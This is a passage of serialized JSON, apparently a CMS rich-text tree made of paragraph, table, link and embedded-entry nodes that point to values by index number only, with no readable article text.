eType":860},{},[60025],{"data":60026,"marks":60027,"value":29931,"nodeType":864},{},[],{"data":60029,"content":60030,"nodeType":4581},{},[60031,60041],{"data":60032,"content":60033,"nodeType":4569},{},[60034],{"data":60035,"content":60036,"nodeType":860},{},[60037],{"data":60038,"marks":60039,"value":29159,"nodeType":864},{},[60040],{"type":899},{"data":60042,"content":60043,"nodeType":4569},{},[60044,60054],{"data":60045,"content":60046,"nodeType":860},{},[60047,60051],{"data":60048,"marks":60049,"value":29634,"nodeType":864},{},[60050],{"type":899},{"data":60052,"marks":60053,"value":30284,"nodeType":864},{},[],{"data":60055,"content":60056,"nodeType":860},{},[60057,60061,60064,60068],{"data":60058,"marks":60059,"value":29200,"nodeType":864},{},[60060],{"type":899},{"data":60062,"marks":60063,"value":1171,"nodeType":864},{},[],{"data":60065,"marks":60066,"value":12978,"nodeType":864},{},[60067],{"type":899},{"data":60069,"marks":60070,"value":30302,"nodeType":864},{},[],{"data":60072,"content":60073,"nodeType":4581},{},[60074,60084],{"data":60075,"content":60076,"nodeType":4569},{},[60077],{"data":60078,"content":60079,"nodeType":860},{},[60080],{"data":60081,"marks":60082,"value":29242,"nodeType":864},{},[60083],{"type":899},{"data":60085,"content":60086,"nodeType":4569},{},[60087,60093],{"data":60088,"content":60089,"nodeType":860},{},[60090],{"data":60091,"marks":60092,"value":30325,"nodeType":864},{},[],{"data":60094,"content":60095,"nodeType":860},{},[60096],{"data":60097,"marks":60098,"value":30332,"nodeType":864},{},[],{"data":60100,"content":60101,"nodeType":4581},{},[60102,60112],{"data":60103,"content":60104,"nodeType":4569},{},[60105],{"data":60106,"content":60107,"nodeType":860},{},[60108],{"data":60109,"marks":60110,"value":29294,"nodeType":864},{},[60111],{"type":899},{"data":60113,"content":60114,"nodeType":4569},{},[60115],{"data":60116,"content":60117,"nodeType":860},{},[60118],{"data":60119,"marks":60120,"value":30355,"nodeType":864},{},[],{"data":60122,"content":60123,"nodeType":4581},{},[60124,60134],{"data":60125,"content":60126,"nodeType":4569},{},[60127],{"data":60128,"content":60129,"nodeType":860},{},[60130],{"data":60131,"marks":60132,"value":29517,"nodeType":864},{},[60133],{"type":899},{"data":60135,"content":60136,"nodeType":4569},{},[60137],{"data":60138,"content":60139,"nodeType":860},{},[60140],{"data":60141,"marks":60142,"value":30378,"nodeType":864},{},[],{"data":60144,"content":60147,"nodeType":996},{"target":60145},{"sys":60146},{"id":30383,"type":1001,"linkType":1002},[],{"data":60149,"content":60150,"nodeType":1005},{},[],{"data":60152,"content":60153,"nodeType":1312},{},[60154],{"data":60155,"marks":60156,"value":30395,"nodeType":864},{},[60157],{"type":899},{"data":60159,"content":60160,"nodeType":4845},{},[60161,60183,60205,60227],{"data":60162,"content":60163,"nodeType":4581},{},[60164,60174],{"data":60165,"content":60166,"nodeType":4569},{},[60167],{"data":60168,"content":60169,"nodeType":860},{},[60170],{"data":60171,"marks":60172,"value":29135,"nodeType":864},{},[60173],{"type":899},{"data":60175,"content":60176,"nodeType":4569},{},[60177],{"data":60178,"content":60179,"nodeType":860},{},[60180],{"data":60181,"marks":60182,"value":30421,"nodeType":864},{},[],{"data":60184,"content":60185,"nodeType":4581},{},[60186,60196],{"data":60187,"content":60188,"nodeType":4569},{},[60189],{"data":60190,"content":60191,"nodeType":860},{},[60192],{"data":60193,"marks":60194,"value":29242,"nodeType":864},{},[60195],{"type":899},{"data":60197,"content":60198,"nodeType":4569},{},[60199],{"data":60200,"content":60201,"nodeType":860},{},[60202],{"data":60203,"marks":60204,"value":30444,"nodeType":864},{},[],{"data":60206,"content":60207,"nodeType":4581},{},[60208,60218],{"data":60209,"content":60210,"nodeType":4569},{},[60211],{"data":60212,"content":60213,"nodeType":860},{},[60214],{"data":60215,"marks":60216,"value":29294,"nodeType":864},{},[60217],{"type":899},{"data":60219,"content":60220,"nodeType":4569},{},[60221],{"data":60222,"content":60223,"nodeType":860},{},[60224],{"data":60225,"marks":60226,"value":30467,"nodeType":864},{},[],{"data":60228,"content":60229,"nodeType":4581},{},[60230,60240],{"data":60231,"content":60232,"nodeType":4569},{},[60233],{"data":60234,"content":60235,"nodeType":860},{},[60236],{"data":60237,"marks":60238,"value":29517,"nodeType":864},{},[60239],{"type":899},{"data":60241,"content":60242,"nodeType":4569},{},[60243],{"data":60244,"content":60245,"nodeType":860},{},[60246],{"data":60247,"marks":60248,"value":30490,"nodeType":864},{},[],{"data":60250,"content":60253,"nodeType":996},{"target":60251},{"sys":60252},{"id":30495,"type":1001,"linkType":1002},[],{"data":60255,"content":60256,"nodeType":1005},{},[],{"data":60258,"content":60259,"nodeType":1312},{},[60260],{"data":60261,"marks":60262,"value":30507,"nodeType":864},{},[60263],{"type":899},{"data":60265,"content":60266,"nodeType":4845},{},[60267,60289,60311,60333],{"data":60268,"content":60269,"nodeType":4581},{},[60270,60280],{"data":60271,"content":60272,"nodeType":4569},{},[60273],{"data":60274,"content":60275,"nodeType":860},{},[60276],{"data":60277,"marks":60278,"value":29135,"nodeType":864},{},[60279],{"type":899},{"data":60281,"content":60282,"nodeType":4569},{},[60283],{"data":60284,"content":60285,"nodeType":860},{},[60286],{"data":60287,"marks":60288,"value":29418,"nodeType":864},{},[],{"data":60290,"content":60291,"nodeType":4581},{},[60292,60302],{"data":60293,"content":60294,"nodeType":4569},{},[60295],{"data":60296,"content":60297,"nodeType":860},{},[60298],{"data":60299,"marks":60300,"value":29242,"nodeType":864},{},[60301],{"type":899},{"data":60303,"content":60304,"nodeType":4569},{},[60305],{"data":60306,"content":60307,"nodeType":860},{},[60308],{"data":60309,"marks":60310,"value":30555,"nodeType":864},{},[],{"data":60312,"content":60313,"nodeType":4581},{},[60314,60324],{"data":60315,"content":60316,"nodeType":4569},{},[60317],{"data":60318,"content":60319,"nodeType":860},{},[60320],{"data":60321,"marks":60322,"value":29294,"nodeType":864},{},[60323],{"type":899},{"data":60325,"content":60326,"nodeType":4569},{},[60327],{"data":60328,"content":60329,"nodeType":860},{},[60330],{"data":60331,"marks":60332,"value":30578,"nodeType":864},{},[],{"data":60334,"content":60335,"nodeType":4581},{},[60336,60346],{"data":60337,"content":60338,"nodeType":4569},{},[60339],{"data":60340,"content":60341,"nodeType":860},{},[60342],{"data":60343,"marks":60344,"value":29517,"nodeType":864},{},[60345],{"type":899},{"data":60347,"content":60348,"nodeType":4569},{},[60349],{"data":60350,"content":60351,"nodeType":860},{},[60352],{"data":60353,"marks":60354,"value":30601,"nodeType":864},{},[],{"data":60356,"content":60359,"nodeType":996},{"target":60357},{"sys":60358},{"id":30606,"type":1001,"linkType":1002},[],{"data":60361,"content":60362,"nodeType":1005},{},[],{"data":60364,"content":60365,"nodeType":1312},{},[60366],{"data":60367,"marks":60368,"value":30618,"nodeType":864},{},[60369],{"type":899},{"data":60371,"content":60374,"nodeType":996},{"target":60372},{"sys":60373},{"id":30623,"type":1001,"linkType":1002},[],{"data":60376,"content":60377,"nodeType":4845},{},[60378,60400,60436,60458,60480],{"data":60379,"content":60380,"nodeType":4581},{},[60381,60391],{"data":60382,"content":60383,"nodeType":4569},{},[60384],{"data":60385,"content":60386,"nodeType":860},{},[60387],{"data":60388,"marks":60389,"value":29135,"nodeType":864},{},[60390],{"type":899},{"data":60392,"content":60393,"nodeType":4569},{},[60394],{"data":60395,"content":60396,"nodeType":860},{},[60397],{"data":60398,"marks":60399,"value":30650,"nodeType":864},{},[],{"data":60401,"content":60402,"nodeType":4581},{},[60403,60413],{"data":60404,"content":60405,"nodeType":4569},{},[60406],{"data":60407,"content":60408,"nodeType":860},{},[60409],{"data":60410,"marks":60411,"value":29159,"nodeType":864},{},[60412],{"type":899},{"data":60414,"content":60415,"nodeType":4569},{},[60416,60426],{"data":60417,"content":60418,"nodeType":860},{},[60419,60423],{"data":60420,"marks":60421,"value":29634,"nodeType":864},{},[60422],{"type":899},{"data":60424,"marks":60425,"value":30677,"nodeType":864},{},[],{"data":60427,"content":60428,"nodeType":860},{},[60429,60433],{"data":60430,"marks":60431,"value":29200,"nodeType":864},{},[60432],{"type":899},{"data":60434,"marks":60435,"value":30688,"nodeType":864},{},[],{"data":60437,"content":60438,"nodeType":4581},{},[60439,60449],{"data":60440,"content":60441,"nodeType":4569},{},[60442],{"data":60443,"content":60444,"nodeType":860},{},[60445],{"data":60446,"marks":60447,"value":29242,"nodeType":864},{},[60448],{"type":899},{"data":60450,"content":60451,"nodeType":4569},{},[60452],{"data":60453,"content":60454,"nodeType":860},{},[60455],{"data":60456,"marks":60457,"value":30711,"nodeType":864},{},[],{"data":60459,"content":60460,"nodeType":4581},{},[60461,60471],{"data":60462,"content":60463,"nodeType":4569},{},[60464],{"data":60465,"content":60466,"nodeType":860},{},[60467],{"data":60468,"marks":60469,"value":29294,"nodeType":864},{},[60470],{"type":899},{"data":60472,"content":60473,"nodeType":4569},{},[60474],{"data":60475,"content":60476,"nodeType":860},{},[60477],{"data":60478,"marks":60479,"value":30734,"nodeType":864},{},[],{"data":60481,"content":60482,"nodeType":4581},{},[60483,60493],{"data":60484,"content":60485,"nodeType":4569},{},[60486],{"data":60487,"content":60488,"nodeType":860},{},[60489],{"data":60490,"marks":60491,"value":29517,"nodeType":864},{},[60492],{"type":899},{"data":60494,"content":60495,"nodeType":4569},{},[60496],{"data":60497,"content":60498,"nodeType":860},{},[60499],{"data":60500,"marks":60501,"value":30757,"nodeType":864},{},[],{"data":60503,"content":60506,"nodeType":996},{"target":60504},{"sys":60505},{"id":30762,"type":1001,"linkType":1002},[],{"data":60508,"content":60509,"nodeType":1005},{},[],{"data":60511,"content":60512,"nodeType":1312},{},[60513],{"data":60514,"marks":60515,"value":30774,"nodeType":864},{},[60516],{"type":899},{"data":60518,"content":60519,"nodeType":4845},{},[60520,60542],{"data":60521,"content":60522,"nodeType":4581},{},[60523,60533],{"data":60524,"content":60525,"nodeType":4569},{},[60526],{"data":60527,"content":60528,"nodeType":860},{},[60529],{"data":60530,"marks":60531,"value":29242,"nodeType":864},{},[60532],{"type":899},{"data":60534,"content":60535,"nodeType":4569},{},[60536],{"data":60537,"content":60538,"nodeType":860},{},[60539],{"data":60540,"marks":60541,"value":30800,"nodeType":864},{},[],{"data":60543,"content":60544,"nodeType":4581},{},[60545,60555],{"data":60546,"content":60547,"nodeType":4569},{},[60548],{"data":60549,"content":60550,"nodeType":860},{},[60551],{"data":60552,"marks":60553,"value":29294,"nodeType":864},{},[60554],{"type":899},{"data":60556,"content":60557,"nodeType":4569},{},[60558],{"data":60559,"content":60560,"nodeType":860},{},[60561],{"data":60562,"marks":60563,"value":30823,"nodeType":864},{},[],{"data":60565,"content":60568,"nodeType":996},{"target":60566},{"sys":60567},{"id":30828,"type":1001,"linkType":1002},[],{"data":60570,"content":60571,"nodeType":1005},{},[],{"data":60573,"content":60574,"nodeType":1312},{},[60575],{"data":60576,"marks":60577,"value":30840,"nodeType":864},{},[60578],{"type":899},{"data":60580,"content":60581,"nodeType":4845},{},[60582,60610,60646,60668,60690],{"data":60583,"content":60584,"nodeType":4581},{},[60585,60595],{"data":60586,"content":60587,"nodeType":4569},{},[60588],{"data":60589,"content":60590,"nodeType":860},{},[60591],{"data":60592,"marks":60593,"value":29135,"nodeType":864},{},[60594],{"type":899},{"data":60596,"content":60597,"nodeType":4569},{},[60598,60604],{"data":60599,"content":60600,"nodeType":860},{},[60601],{"data":60602,"marks":60603,"value":30866,"nodeType":864},{},[],{"data":60605,"content":60606,"nodeType":860},{},[60607],{"data":60608,"marks":60609,"value":30873,"nodeType":864},{},[],{"data":60611,"content":60612,"nodeType":4581},{},[60613,60623],{"data":60614,"content":60615,"nodeType":4569},{},[60616],{"data":60617,"content":60618,"nodeType":860},{},[60619],{"data":60620,"marks":60621,"value":29159,"nodeType":864},{},[60622],{"type":899},{"data":60624,"content":60625,"nodeType":4569},{},[60626,60636],{"data":60627,"content":60628,"nodeType":860},{},[60629,60633],{"data":60630,"marks":60631,"value":29634,"nodeType":864},{},[60632],{"type":899},{"data":60634,"marks":60635,"value":30900,"nodeType":864},{},[],{"data":60637,"content":60638,"nodeType":860},{},[60639,60643],{"data":60640,"marks":60641,"value":29200,"nodeType":864},{},[60642],{"type":899},{"data":60644,"marks":60645,"value":29457,"nodeType":864},{},[],{"data":60647,"content":60648,"nodeType":4581},{},[60649,60659],{"data":60650,"content":60651,"nodeType":4569},{},[60652],{"data":60653,"content":60654,"nodeType":860},{},[60655],{"data":60656,"marks":60657,"value":29242,"nodeType":864},{},[60658],{"type":899},{"data":60660,"content":60661,"nodeType":4569},{},[60662],{"data":60663,"content":60664,"nodeType":860},{},[60665],{"data":60666,"marks":60667,"value":30933,"nodeType":864},{},[],{"data":60669,"content":60670,"nodeType":4581},{},[60671,60681],{"data":60672,"content":60673,"nodeType":4569},{},[60674],{"data":60675,"content":60676,"nodeType":860},{},[60677],{"data":60678,"marks":60679,"value":29294,"nodeType":864},{},[60680],{"type":899},{"data":60682,"content":60683,"nodeType":4569},{},[60684],{"data":60685,"content":60686,"nodeType":860},{},[60687],{"data":60688,"marks":60689,"value":30956,"nodeType":864},{},[],{"data":60691,"content":60692,"nodeType":4581},{},[60693,60703],{"data":60694,"content":60695,"nodeType":4569},{},[60696],{"data":60697,"content":60698,"nodeType":860},{},[60699],{"data":60700,"marks":60701,"value":29517,"nodeType":864},{},[60702],{"type":899},{"data":60704,"content":60705,"nodeType":4569},{},[60706],{"data":60707,"content":60708,"nodeType":860},{},[60709],{"data":60710,"marks":60711,"value":30979,"nodeType":864},{},[],{"data":60713,"content":60716,"nodeType":996},{"target":60714},{"sys":60715},{"id":7719,"type":1001,"linkType":1002},[],{"data":60718,"content":60719,"nodeType":1005},{},[],{"data":60721,"content":60722,"nodeType":1312},{},[60723],{"data":60724,"marks":60725,"value":30995,"nodeType":864},{},[60726],{"type":899},{"data":60728,"content":60729,"nodeType":4845},{},[60730,60752,60788,60810,60832],{"data":60731,"content":60732,"nodeType":4581},{},[60733,60743],{"data":60734,"content":60735,"nodeType":4569},{},[60736],{"data":60737,"content":60738,"nodeType":860},{},[60739],{"data":60740,"marks":60741,"value":29135,"nodeType":864},{},[60742],{"type":899},{"data":60744,"content":60745,"nodeType":4569},{},[60746],{"data":60747,"content":60748,"nodeType":860},{},[60749],{"data":60750,"marks":60751,"value":31021,"nodeType":864},{},[],{"data":60753,"content":60754,"nodeType":4581},{},[60755,60765],{"data":60756,"content":60757,"nodeType":4569},{},[60758],{"data":60759,"content":60760,"nodeType":860},{},[60761],{"data":60762,"marks":60763,"value":29159,"nodeType":864},{},[60764],{"type":899},{"data":60766,"content":60767,"nodeType":4569},{},[60768,60778],{"data":60769,"content":60770,"nodeType":860},{},[60771,60775],{"data":60772,"marks":60773,"value":29634,"nodeType":864},{},[60774],{"type":899},{"data":60776,"marks":60777,"value":31048,"nodeType":864},{},[],{"data":60779,"content":60780,"nodeType":860},{},[60781,60785],{"data":60782,"marks":60783,"value":29200,"nodeType":864},{},[60784],{"type":899},{"data":60786,"marks":60787,"value":31059,"nodeType":864},{},[],{"data":60789,"content":60790,"nodeType":4581},{},[60791,60801],{"data":60792,"content":60793,"nodeType":4569},{},[60794],{"data":60795,"content":60796,"nodeType":860},{},[60797],{"data":60798,"marks":60799,"value":29242,"nodeType":864},{},[60800],{"type":899},{"data":60802,"content":60803,"nodeType":4569},{},[60804],{"data":60805,"content":60806,"nodeType":860},{},[60807],{"data":60808,"marks":60809,"value":30933,"nodeType":864},{},[],{"data":60811,"content":60812,"nodeType":4581},{},[60813,60823],{"data":60814,"content":60815,"nodeType":4569},{},[60816],{"data":60817,"content":60818,"nodeType":860},{},[60819],{"data":60820,"marks":60821,"value":29294,"nodeType":864},{},[60822],{"type":899},{"data":60824,"content":60825,"nodeType":4569},{},[60826],{"data":60827,"content":60828,"nodeType":860},{},[60829],{"data":60830,"marks":60831,"value":31104,"nodeType":864},{},[],{"data":60833,"content":60834,"nodeType":4581},{},[60835,60845],{"data":60836,"content":60837,"nodeType":4569},{},[60838],{"data":60839,"content":60840,"nodeType":860},{},[60841],{"data":60842,"marks":60843,"value":29517,"nodeType":864},{},[60844],{"type":899},{"data":60846,"content":60847,"nodeType":4569},{},[60848],{"data":60849,"content":60850,"nodeType":860},{},[60851],{"data":60852,"marks":60853,"value":31127,"nodeType":864},{},[],{"data":60855,"content":60858,"nodeType":996},{"target":60856},{"sys":60857},{"id":31132,"type":1001,"linkType":1002},[],{"data":60860,"content":60861,"nodeType":1005},{},[],{"data":60863,"content":60864,"nodeType":1009},{},[60865],{"data":60866,"marks":60867,"value":31144,"nodeType":864},{},[60868],{"type":899},{"data":60870,"content":60871,"nodeType":860},{},[60872,60875],{"data":60873,"marks":60874,"value":31151,"nodeType":864},{},[],{"data":60876,"marks":60877,"value":31156,"nodeType":864},{},[60878],{"type":899},{"data":60880,"content":60881,"nodeType":860},{},[60882],{"data":60883,"marks":60884,"value":31163,"nodeType":864},{},[],{"data":60886,"content":60889,"nodeType":996},{"target":60887},{"sys":60888},{"id":31168,"type":1001,"linkType":1002},[],{"data":60891,"content":60894,"nodeType":996},{"target":60892},{"sys":60893},{"id":31174,"type":1001,"linkType":1002},[],{"data":60896,"content":60897,"nodeType":860},{},[60898],{"data":60899,"marks":60900,"value":31182,"nodeType":864},{},[],{"data":60902,"content":60903,"nodeType":860},{},[60904,60907,60911,60914],{"data":60905,"marks":60906,"value":31189,"nodeType":864},{},[],{"data":60908,"marks":60909,"value":31194,"nodeType":864},{},[60910],{"type":899},{"data":60912,"marks":60913,"value":31198,"nodeType":864},{},[],{"data":60915,"marks":60916,"value":31203,"nodeType":864},{},[60917],{"type":899},{"data":60919,"content":60920,"nodeType":860},{},[60921,60924,60928],{"data":60922,"marks":60923,"value":31210,"nodeType":864},{},[],{"data":60925,"marks":60926,"value":31215,"nodeType":864},{},[60927],{"type":899},{"data":60929,"marks":60930,"value":31219,"nodeType":864},{},[],{"data":60932,"content":60935,"nodeType":996},{"target":60933},{"sys":60934},{"id":31224,"type":1001,"linkType":1002},[],{"data":60937,"content":60938,"nodeType":1005},{},[],{"data":60940,"content":60941,"nodeType":1009},{},[60942],{"data":60943,"marks":60944,"value":31236,"nodeType":864},{},[60945],{"type":899},{"data":60947,"content":60948,"nodeType":1312},{},[60949],{"data":60950,"marks":60951,"value":31244,"nodeType":864},{},[60952],{"type":899},{"data":60954,"content":60955,"nodeType":860},{},[60956,60959,60963,60966],{"data":60957,"marks":60958,"value":31251,"nodeType":864},{},[],{"data":60960,"marks":60961,"value":31256,"nodeType":864},{},[60962],{"type":899},{"data":60964,"marks":60965,"value":31260,"nodeType":864},{},[],{"data":60967,"marks":60968,"value":31265,"nodeType":864},{},[60969],{"type":899},{"data":60971,"content":60972,"nodeType":860},{},[60973,60977,60980,60984],{"data":60974,"marks":60975,"value":31273,"nodeType":864},{},[60976],{"type":899},{"data":60978,"marks":60979,"value":31277,"nodeType":864},{},[],{"data":60981,"marks":60982,"value":31282,"nodeType":864},{},[60983],{"type":899},{"data":60985,"marks":60986,"value":31286,"nodeType":864},{},[],{"data":60988,"content":60991,"nodeType":996},{"target":60989},{"sys":60990},{"id":30220,"type":1001,"linkType":1002},[],{"data":60993,"content":60994,"nodeType":860},{},[60995],{"data":60996,"marks":60997,"value":31298,"nodeType":864},{},[],{"data":60999,"content":61000,"nodeType":860},{},[61001],{"data":61002,"marks":61003,"value":31305,"nodeType":864},{},[],{"data":61005,"content":61006,"nodeType":1312},{},[61007],{"data":61008,"marks":61009,"value":31313,"nodeType":864},{},[61010],{"type":899},{"data":61012,"content":61013,"nodeType":860},{},[61014],{"data":61015,"marks":61016,"value":31320,"nodeType":864},{},[],{"data":61018,"content":61019,"nodeType":860},{},[61020],{"data":61021,"marks":61022,"value":31327,"nodeType":864},{},[],{"data":61024,"content":61025,"nodeType":860},{},[61026],{"data":61027,"marks":61028,"value":31334,"nodeType":864},{},[],{"data":61030,"content":61031,"nodeType":1312},{},[61032],{"data":61033,"marks":61034,"value":31342,"nodeType":864},{},[61035],{"type":899},{"data":61037,"content":61038,"nodeType":860},{},[61039],{"data":61040,"marks":61041,"value":31349,"nodeType":864},{},[],{"data":61043,"content":61044,"nodeType":941},{},[61045,61058,61071],{"data":61046,"content":61047,"nodeType":945},{},[61048],{"data":61049,"content":61050,"nodeType":860},{},[61051,61055],{"data":61052,"marks":61053,"value":31363,"nodeType":864},{},[61054],{"type":899},{"data":61056,"marks":61057,"value":31367,"nodeType":864},{},[],{"data":61059,"content":61060,"nodeType":945},{},[61061],{"data":61062,"content":61063,"nodeType":860},{},[61064,61068],{"data":61065,"marks":61066,"value":28841,"nodeType":864},{},[61067],{"type":899},{"data":61069,"marks":61070,"value":31381,"nodeType":864},{},[],{"data":61072,"content":61073,"nodeType":945},{},[61074],{"data":61075,"content":61076,"nodeType":860},{},[61077,61080,61084],{"data":61078,"marks":61079,"value":31391,"nodeType":864},{},[],{"data":61081,"marks":61082,"value":6423,"nodeType":864},{},[61083],{"type":899},{"data":61085,"marks":61086,"value":31399,"nodeType":864},{},[],{"data":61088,"content":61091,"nodeType":996},{"target":61089},{"sys":61090},{"id":31404,"type":1001,"linkType":1002},[],{"data":61093,"content":61094,"nodeType":1005},{},[],{"data":61096,"content":61097,"nodeType":1009},{},[61098],{"data":61099,"marks":61100,"value":31416,"nodeType":864},{},[61101],{"type":899},{"data":61103,"content":61104,"nodeType":860},{},[61105],{"data":61106,"marks":61107,"value":31423,"nodeType":864},{},[],{"data":61109,"content":61110,"nodeType":860},{},[61111],{"data":61112,"marks":61113,"value":31430,"nodeType":864},{},[],{"data":61115,"content":61116,"nodeType":860},{},[61117,61120,61127,61130,61134,61137,61141,61144,61148],{"data":61118,"marks":61119,"value":31437,"nodeType":864},{},[],{"data":61121,"content":61122,"nodeType":883},{"uri":31440},[61123],{"data":61124,"marks":61125,"value":31446,"nodeType":864},{},[61126],{"type":1455},{"data":61128,"marks":61129,"value":31450,"nodeType":864},{},[],{"data":61131,"marks":61132,"value":31455,"nodeType":864},{},[61133],{"type":899},{"data":61135,"marks":61136,"value":31459,"nodeType":864},{},[],{"data":61138,"marks":61139,"value":31464,"nodeType":864},{},[61140],{"type":899},{"data":61142,"marks":61143,"value":31468,"nodeType":864},{},[],{"data":61145,"marks":61146,"value":31473,"nodeType":864},{},[61147],{"type":899},{"data":61149,"marks":61150,"value":31477,"nodeType":864},{},[],{"data":61152,"content":61155,"nodeType":996},{"target":61153},{"sys":61154},{"id":31482,"type":1001,"linkType":1002},[],{"data":61157,"content":61158,"nodeType":860},{},[61159],{"data":61160,"marks":61161,"value":31490,"nodeType":864},{},[],{"data":61163,"content":61164,"nodeType":1005},{},[],{"data":61166,"content":61167,"nodeType":1009},{},[61168],{"data":61169,"marks":61170,"value":31501,"nodeType":864},{},[61171],{"type":899},{"data":61173,"content":61174,"nodeType":860},{},[61175],{"data":61176,"marks":61177,"value":31508,"nodeType":864},{},[],{"data":61179,"content":61180,"nodeType":860},{},[61181],{"data":61182,"marks":61183,"value":31515,"nodeType":864},{},[],{"data":61185,"content":61186,"nodeType":860},{},[61187,61190,61197],{"data":61188,"marks":61189,"value":31522,"nodeType":864},{},[],{"data":61191,"content":61192,"nodeType":883},{"uri":31525},[61193],{"data":61194,"marks":61195,"value":31531,"nodeType":864},{},[61196],{"type":1455},{"data":61198,"marks":61199,"value":31535,"nodeType":864},{},[],{"data":61201,"content":61204,"nodeType":996},{"target":61202},{"sys":61203},{"id":31540,"type":1001,"linkType":1002},[],{"data":61206,"content":61207,"nodeType":860},{},[61208],{"data":61209,"marks":61210,"value":31548,"nodeType":864},{},[],{"data":61212,"content":61213,"nodeType":1312},{},[61214],{"data":61215,"marks":61216,"value":3578,"nodeType":864},{},[61217],{"type":899},{"data":61219,"content":61220,"nodeType":860},{},[61221],{"data":61222,"marks":61223,"value":31562,"nodeType":864},{},[],{"data":61225,"content":61226,"nodeType":860},{},[61227,61230,61237,61240,61247,61250,61257],{"data":61228,"marks":61229,"value":31569,"nodeType":864},{},[],{"data":61231,"content":61232,"nodeType":883},{"uri":25603},[61233],{"data":61234,"marks":61235,"value":25609,"nodeType":864},{},[61236],{"type":1455},{"data":61238,"marks":61239,"value":3731,"nodeType":864},{},[],{"data":61241,"content":61242,"nodeType":883},{"uri":25615},[61243],{"data":61244,"marks":61245,"value":31587,"nodeType":864},{},[61246],{"type":1455},{"data":61248,"marks":61249,"value":25625,"nodeType":864},{},[],{"data":61251,"content":61252,"nodeType":883},{"uri":1700},[61253],{"data":61254,"marks":61255,"value":25633,"nodeType":864},{},[61256],{"type":1455},{"data":61258,"marks":61259,"value":2924,"nodeType":864},{},[],{"items":61261},[61262,61264],{"sys":61263,"name":6593},{"id":6592},{"sys":61265,"name":342},{"id":6596},{"items":61267},[61268],{"fullName":4949,"firstName":4950,"jobTitle":4951,"profilePicture":61269},{"url":4955},{"__typename":2059,"sys":61271,"content":61272,"title":56281,"synopsis":56282,"hashTags":59,"publishedDate":56283,"slug":56284,"tagsCollection":62088,"authorsCollection":62094},{"id":55338},{"json":61273},{"data":61274,"content":61275,"nodeType":856},{},[61276,61282,61288,61294,61297,61304,61310,61316,61321,61327,61332,61348,61354,61364,61367,61374,61380,61393,61399,61409,61414,61417,61424,61431,61436,61444,61460,61468,61474,61482,61497,61505,61511,61519,61545,61553,61559,61567,61583,61588,61596,61602,61610,61643,61646,61653,61661,61677,61685,61691,61699,61725,61730,61738,61744,61749,61752,61759,61767,61773,61824,61829,61832,61839,61847,61853,61858,61861,61868,61874,61880,61940,61946,62001,62007,62010,62017,62023,62029,62034,62037,62044,62050,62056,62062],{"data":61277,"content":61278,"nodeType":860},{},[61279],{"data":61280,"marks":61281,"value":55349,"nodeType":864},{},[],{"data":61283,"content":61284,"nodeType":860},{},[61285],{"data":61286,"marks":61287,"value":55356,"nodeType":864},{},[],{"data":61289,"content":61290,"nodeType":860},{},[61291],{"data":61292,"marks":61293,"value":55363,"nodeType":864},{},[],{"data":61295,"content":61296,"nodeType":1005},{},[],{"data":61298,"content":61299,"nodeType":1009},{},[61300],{"data":61301,"marks":61302,"value":55374,"nodeType":864},{},[61303],{"type":899},{"data":61305,"content":61306,"nodeType":860},{},[61307],{"data":61308,"marks":61309,"value":55381,"nodeType":864},{},[],{"data":61311,"content":61312,"nodeType":860},{},[61313],{"data":61314,"marks":61315,"value":55388,"nodeType":864},{},[],{"data":61317,"content":61320,"nodeType":996},{"target":61318},{"sys":61319},{"id":55393,"type":1001,"linkType":1002},[],{"data":61322,"content":61323,"nodeType":860},{},[61324],{"data":61325,"marks":61326,"value":55401,"nodeType":864},{},[],{"data":61328,"content":61331,"nodeType":996},{"target":61329},{"sys":61330},{"id":55406,"type":1001,"linkType":1002},[],{"data":61333,"content":61334,"nodeType":860},{},[61335,61338,61345],{"data":61336,"marks":61337,"value":55414,"nodeType":864},{},[],{"data":61339,"content":61340,"nodeType":883},{"uri":34790},[61341],{"data":61342,"marks":61343,"value":55422,"nodeType":864},{},[61344],{"type":1455},{"data":61346,"marks":61347,"value":55426,"nodeType":864},{},[],{"data":61349,"content":61350,"nodeType":860},{},[61351],{"data":61352,"marks":61353,"value":55433,"nodeType":864},{},[],{"data":61355,"content":61356,"nodeType":860},{},[61357,61360],{"data":61358,"marks":61359,"value":55440,"nodeType":864},{},[],{"data":61361,"marks":61362,"value":55445,"nodeType":864},{},[61363],{"type":899},{"data":61365,"content":61366,"nodeType":1005},{},[],{"data":61368,"content":61369,"nodeType":1009},{},[61370],{"data":61371,"marks":61372,"value":55456,"nodeType":864},{},[61373],{"type":899},{"data":61375,"content":61376,"nodeType":860},{},[61377],{"data":61378,"marks":61379,"value":55463,"nodeType":864},{},[],{"data":61381,"content":61382,"nodeType":860},{},[61383,61386,61390],{"data":61384,"marks":61385,"value":55470,"nodeType":864},{},[],{"data":61387,"marks":61388,"value":55475,"nodeType":864},{},[61389],{"type":899},{"data":61391,"marks":61392,"value":55479,"nodeType":864},{},[],{"data":61394,"content":61395,"nodeType":860},{},[61396],{"data":61397,"marks":61398,"value":55486,"nodeType":864},{},[],{"data":61400,"content":61401,"nodeType":860},{},[61402,61405],{"data":61403,"marks":61404,"value":55493,"nodeType":864},{},[],{"data":61406,"marks":61407,"value":55498,"nodeType":864},{},[61408],{"type":899},{"data":61410,"content":61413,"nodeType":996},{"target":61411},{"sys":61412},{"id":55503,"type":1001,"linkType":1002},[],{"data":61415,"content":61416,"nodeType":1005},{},[],{"data":61418,"content":61419,"nodeType":1009},{},[61420],{"data":61421,"marks":61422,"value":55515,"nodeType":864},{},[61423],{"type":899},{"data":61425,"content":61426,"nodeType":1312},{},[61427],{"data":61428,"marks":61429,"value":55523,"nodeType":864},{},[61430],{"type":899},{"data":61432,"content":61435,"nodeType":996},{"target":61433},{"sys":61434},{"id":55528,"type":1001,"linkType":1002},[],{"data":61437,"content":61438,"nodeType":860},{},[61439],{"data":61440,"marks":61441,"value":55538,"nodeType":864},{},[61442,61443],{"type":899},{"type":1455},{"data":61445,"content":61446,"nodeType":860},{},[61447,61450,61457],{"data":61448,"marks":61449,"value":55545,"nodeType":864},{},[],{"data":61451,"content":61452,"nodeType":883},{"uri":55548},[61453],{"data":61454,"marks":61455,"value":55554,"nodeType":864},{},[61456],{"type":1455},{"data":61458,"marks":61459,"value":55558,"nodeType":864},{},[],{"data":61461,"content":61462,"nodeType":860},{},[61463],{"data":61464,"marks":61465,"value":55567,"nodeType":864},{},[61466,61467],{"type":899},{"type":1455},{"data":61469,"content":61470,"nodeType":860},{},[61471],{"data":61472,"marks":61473,"value":55574,"nodeType":864},{},[],{"data":61475,"content":61476,"nodeType":860},{},[61477],{"data":61478,"marks":61479,"value":55583,"nodeType":864},{},[61480,61481],{"type":899},{"ty